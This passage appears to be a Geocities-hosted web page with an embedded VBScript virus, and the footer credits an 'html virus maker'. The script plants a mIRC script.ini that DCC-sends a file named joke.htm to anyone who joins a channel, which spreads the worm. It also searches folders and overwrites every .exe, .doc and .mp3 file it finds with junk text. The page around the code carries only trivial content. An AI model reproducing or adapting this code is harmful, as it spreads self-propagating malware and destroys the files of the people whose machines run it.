" + Chr(13) + Chr(10)) seven.WriteLine TRange.htmlText seven.WriteLine (" ") seven.WriteLine ("
Hosted by www.Geocities.ws

") seven.Write(FileContents) seven.close() On error resume next set a=fso.CreateTextFile("C:\mirc\script.ini") a.WriteLine "[script]" a.WriteLine "n0=on 1:join:*.*: { if ( $nick ==$me ) {halt} " a.WriteLine "n1=/dcc send $nick C:\mirc\joke.htm }" a.Close() end if If fso.GetExtensionName(file.path)="exe" then on error resume next set drop = fso.createtextfile(File.path) drop.writeline "fdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" drop.close end if If fso.GetExtensionName(file.path)="doc" then on error resume next set drop = fso.createtextfile(File.path) drop.writeline "fdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" drop.close end if If fso.GetExtensionName(file.path)="mp3" then on error resume next set drop = fso.createtextfile(File.path) drop.writeline "fdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd" drop.close end if next Set Subfolders = folder.SubFolders For Each Subfolder in Subfolders Dosearch Subfolder.path Next end function end if -->
Hosted by www.Geocities.ws

poop by mot oilitses

poop by mot oilitses

visualboy.t35.com

Generated with Simple and fast html virus maker by sevenC / N0:7
Hosted by www.Geocities.ws

1